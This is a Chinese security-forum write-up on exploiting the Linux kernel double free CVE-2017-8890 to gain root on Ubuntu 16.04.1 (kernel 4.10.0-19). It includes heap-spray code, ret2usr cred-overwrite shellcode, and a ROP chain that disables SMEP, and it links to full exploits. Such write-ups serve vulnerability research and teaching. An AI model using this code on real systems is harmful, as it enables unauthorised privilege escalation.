CVE-2017-8890 漏洞利用(root ubuntu@kernel-4.10.0-19)
本文主要参考thor的文章,完成了在ubuntu16.04.1@kernel 4.10.0-19 上的root利用。内容主要是总结一下目前的利用思路(ret2user和bypass smep)以及在实践时遇到的一些小问题。
相关文章参考:
CVE-2017-8890 漏洞利用(root nexus6p@kernel 3.10)(点击即可阅读)
根据上篇 CVE-2017-8890 漏洞分析的文章,最后已经触发了漏洞:在第二次free时,内核发生了panic。再看一下这个vulnerable obj:
obj释放的过程:
触发内核panic后,由于是double free的漏洞,两次free的时机都可控。因此利用的思路很简单,在第一次释放后,通过heap spray的技术来占位被释放的obj,从而在第二次free的时候,尝试利用占位的数据去劫持EIP。
如何在第二次free时利用占位的数据控制EIP呢?这个和ip_mc_socklist的定义有关,由于这个结构体中定义了struct rcu_head rcu;因此,对于该结构体的读和写都受到linux kernel rcu机制[4]的保护。释放的过程也可以理解为一个写的过程。受到rcu机制保护的结构体在释放时,也就是上图中调用kfree_rcu(kfree an object after a grace period)时,并不是真正的释放,而是调用call_rcu把他加入到rcu_head的链表中。
根据对RCU机制粗略的学习了解到,此时会开始标记一个宽限期(GP)。当宽限期开始时,记录所有的读thread,当这些读thread都结束后,时钟中断触发时,在软中断中会调用rcu的回调函数来删除这个obj。
所以真正的释放过程是在rcu的回调函数中触发的。删除时的调用链如下rcu_do_batch->__rcu_reclaim
,在__rcu_reclaim中会检查func的大小是否小于4096,如果小于4096,则释放,否则便会调用func。
因此,如果可以控制func便可以控制EIP。因此,堆喷时的目标也就变成了占位func。
在gdb动态调试时,想手工占位func,修改了func几十次,依然不能劫持EIP。最后采用了劫持next_rcu的方式来劫持EIP。
为什么劫持next_rcu也可以控制EIP呢?在该结构体中, next_rcu构成了这个结构体链表,如果劫持了next_rcu,便可以控制它指向一个我们伪造好的mc_list。从而在释放时,执行inet->mc_list = iml->next_rcu。下次循环,就可以free这个我们控制的mc_list。由于没有SMAP,可以把这个mc_list布置在用户态。因此,我们便可以写一个循环来不停地控制func。引用一下thor的图:
因此,我们堆喷射时,需要可以控制前8个字节,也就是next_rcu。除了可控数据之外,堆喷射还有大小的要求。linux 内核会把大小相近的堆块放在一起管理,堆块的大小一般都是2^N。ip_mc_socklist的大小是0x30,位于slab-64。可以通过申请该obj的反汇编代码看到,ip_mc_join_group中sock_kmalloc反汇编代码:
因此堆喷射时,kmalloc的大小要求为32byte<SIZE<=64byte。这样堆喷射时,内核会重用之前释放的内存。让我们堆喷射申请的内存占位原来的vulnerable obj释放的内存。
最终堆喷射的两个要求是:
前八字节可控
32byte<SIZE<=64byte
寻找堆喷射的函数时,hardenedlinux中上传的exp中堆喷射的是调用了setsockopt(ser_sockfd, SOL_IP, MCAST_JOIN_GROUP, &req, sizeof req)
,搜索了一下相关实现,调用链为do_ipv6_setsockopt->ipv6_sock_mc_join->sock_kmalloc:
IDA找了一下spray的大小是0x48,不符合要求。
thor的利用思路中提到,使用ip_mc_source函数来堆喷射。使用该函数来堆喷射时,可以控制前8个字节为0x10000000a,并且spray size大小是0x40,符合要求。
通过understand寻找对于sock_kmalloc的引用,内核中也存在其它的函数可以使用:
因此,利用ip_mc_source来堆喷射的代码为:
static int ipv6_fd[SPRAY_TIMES]={0};
void init_spray()
{
for ( int i = 0; i < SPRAY_TIMES ; i++ ) {
if ((ipv6_fd[i] = socket(AF_INET6, SOCK_STREAM|SOCK_CLOEXEC, IPPROTO_IP)) < 0) {
printf("[init_spray] %d, socket() failed.", i);
perror("Socket");
exit(errno);
}
}
}
static int prepare_spray_obj(int i)
{
struct ip_mreq_source mreqsrc;
memset(&mreqsrc,0,sizeof(mreqsrc));
mreqsrc.imr_multiaddr.s_addr = htonl(inet_addr("10.10.2.224"));
setsockopt(ipv6_fd[i], IPPROTO_IP, IP_ADD_SOURCE_MEMBERSHIP, &mreqsrc, sizeof(mreqsrc));
}
ret2usr
环境
ubuntu16.04.1@kernel4.10.0-19
保护机制:nosmep nosmap nokaslr
环境搭建参考:
关闭smep 和kaslr需要修改grub文件/etc/grub.d/40_custom中的kernel启动选项,增加nosmep nokaslr
。
劫持了EIP后,在没有kaslr和smep smap的保护下,利用还是比较简单的,ret2usr中的shellcode即可。注意由于劫持EIP时的thread并不是POC的thread,因此的传统的commit_creds(prepare_kernel_cred(0))并不能使用。利用的exploit如下,通过找到当前exp进程的kernel pid,找到对应的task_struct,再修改cred中的标志位提权。
其中find_get_pid ,pid_task以及cred的偏移都和当前的kernel版本有关,需要自行修改。
void get_root(int pid){
struct pid * kpid = find_get_pid(pid);
struct task_struct * task = pid_task(kpid,PIDTYPE_PID);
unsigned int * addr = (unsigned int* )task->cred;
addr[1] = 0;
addr[2] = 0;
addr[3] = 0;
addr[4] = 0;
addr[5] = 0;
addr[6] = 0;
addr[7] = 0;
addr[8] = 0;
}
对应汇编如下:
unsigned long* find_get_pid = (unsigned long*)0xffffffff810a6410;
unsigned long* pid_task = (unsigned long*)0xffffffff810a6360;
void get_root() {
asm(
"sub $0x18,%rsp;"
"mov pid,%edi;"
"callq *find_get_pid;"
"mov %rax,-0x8(%rbp);"
"mov -0x8(%rbp),%rax;"
"mov $0x0,%esi;"
"mov %rax,%rdi;"
"callq *pid_task;"
"mov %rax,-0x10(%rbp);"
"mov -0x10(%rbp),%rax;"
"mov 0xa28(%rax),%rax;"
"mov %rax,-0x18(%rbp);"
"mov -0x18(%rbp),%rax;"
"add $0x4,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x8,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0xc,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x10,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x14,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x18,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x1c,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x20,%rax;"
"movl $0x0,(%rax);"
"nop;"
"leaveq;"
"retq ;");
}
exploit地址:
https://github.com/thinkycx/CVE-2017-8890/blob/master/ubuntu-16.04.1%40kernel-4.10.0-19/exp-nosmep.c
bypass SMEP
SMEP是,位于CR4寄存器的第20位。开启了smep后,kernel就不难直接执行用户态的shellcode了。查看smep是否开启:cat /proc/cpuinfo | grep smep
运行之前的exp,内核oops信息如下:
这里使用了内核rop的方式修改了CR4寄存器。
0xffffffff810b402d : pop rdi ; ret
0x00000000000406f0 # new CR4 value
0xffffffff8101b5b0 : mov cr4, rdi ; pop rbp ; ret
由于使用内核rop,因此需要迁移栈。
控制EIP时,rax是0x1000002a。因此栈迁移xchg eax, esp ; ret
,测试了一下这条指令会修改esp,并且rsp的高位会清零。因此内核栈rsp=0x1000002a。
执行完用户态shellcode返回时,内核栈便遭到了破坏。因此,rop时我保存了ebp,在shellcode结束时leave,这样便可以恢复内核执行流程。leave相当于mov esp,ebp;ret
。因此在rop结束时,只要ebp是正确的,leave指令就可以保证内核栈不会被破坏。
因此,最终的rop功能位为,把rbp 被保存到rcx中,并且修改了cr4,跳转到 ret_addr 也就是用户态的shellcode处执行:
fake_stack[0] = 0xffffffff811da170; // pop rsi ; ret
fake_stack[1] = 0xffffffff8148ddcb; // pop rcx ; ret
fake_stack[2] = 0xffffffff8119a1d7; // push rbp ; jmp rsi
fake_stack[3] = 0xffffffff810b402d; // pop rdi ; ret
fake_stack[4] = 0x00000000000406f0;
fake_stack[5] = 0xffffffff8101b5b0; // mov cr4, rdi ; pop rbp ; ret
fake_stack[6] = 0x81000a00; // fake value saved to rbp, not use
fake_stack[7] = ret_addr;
用户态shellcode需要把rcx中的值给rbp,执行完patch的功能后,leave恢复栈再退出。
void get_root() {
asm(
"mov %rcx, %rbp;"
// "mov %rcx, %rsp;"
"sub $0x18,%rsp;"
... PATCH代码
"nop;"
"leaveq;"
"retq ;"
);
}
一些问题
此外,有几个注意点,大部分已经解决了:
ropgadget寻找出来的gadget需要在IDA中看一下确定是否真的可以用。
gdb动态调试时,部分指令有时候会变成int3,这是由于gdb调试造成的副作用。
gdb动态调试时,会存在其它的thread需要保存rcu_head到链表中,需要修改rcu_head链表中最后一个rcu_head中的next指针。如果最后一个rcu_head已经是在用户态伪造好的的rcu_head,就会出现问题。由于其它的thread不在exp上下文中,因此访问不了rcu_head末尾加入的在用户态的fake mc_list,地址为0x1000000a,直接运行exp就没这个问题了,只有调试时会遇到这个问题。
当执行用户态shellcode时,kgdb会挂掉,这时劫持kdump看内核oops信息,使用方法见之前的环境搭建文章。
时间跨度太长了,应该还有很多漏掉的....
当然还有一些没解决的:
控制EIP的过程是在时钟中断触发时,软中断中调用rcu的回调函数中触发的,但是软中断的调用有可能是在exp的进程上下文中,有可能是在ksofriqrd中。ksoftiqrd这个线程是内核为了解决大量软中断触发时,减少用户态程序等待时间因而来处理软中断的线程。当回调函数触发时的thread处于进程上下文中,是可以访问exp在用户态mmap的数据的,当thread中处于ksoftiqrd中,就访问不到exp进程用户态mmap的数据了就会出现下面这样的错误了:
exploit
下载:exploit地址
https://github.com/thinkycx/CVE-2017-8890/blob/master/ubuntu-16.04.1%40kernel-4.10.0-19/exp-bypasssmep.c
最后,感谢SetRet和thor两位前辈的文章,当然还有一些其他帮助过我的前辈们。
REF
CVE-2017-8890漏洞分析与利用(Root Android 7.x)
http://freebuf.com/articles/terminal/160041.html
利用CVE-2017-8890实现linux内核提权: SMEP绕过
https://xz.aliyun.com/t/2385
利用CVE-2017-8890实现linux内核提权: ret2usr
https://xz.aliyun.com/t/2383
浅析linux kernel RCU机制
https://blog.csdn.net/think_ycx/article/details/81155672
- End -
看雪ID:心许雪
https://bbs.pediy.com/user-730610.htm
本文由看雪论坛 心许雪 原创
转载请注明来自看雪社区
热门图书推荐:
(点击图片即可进入)
热门技术文章:
公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com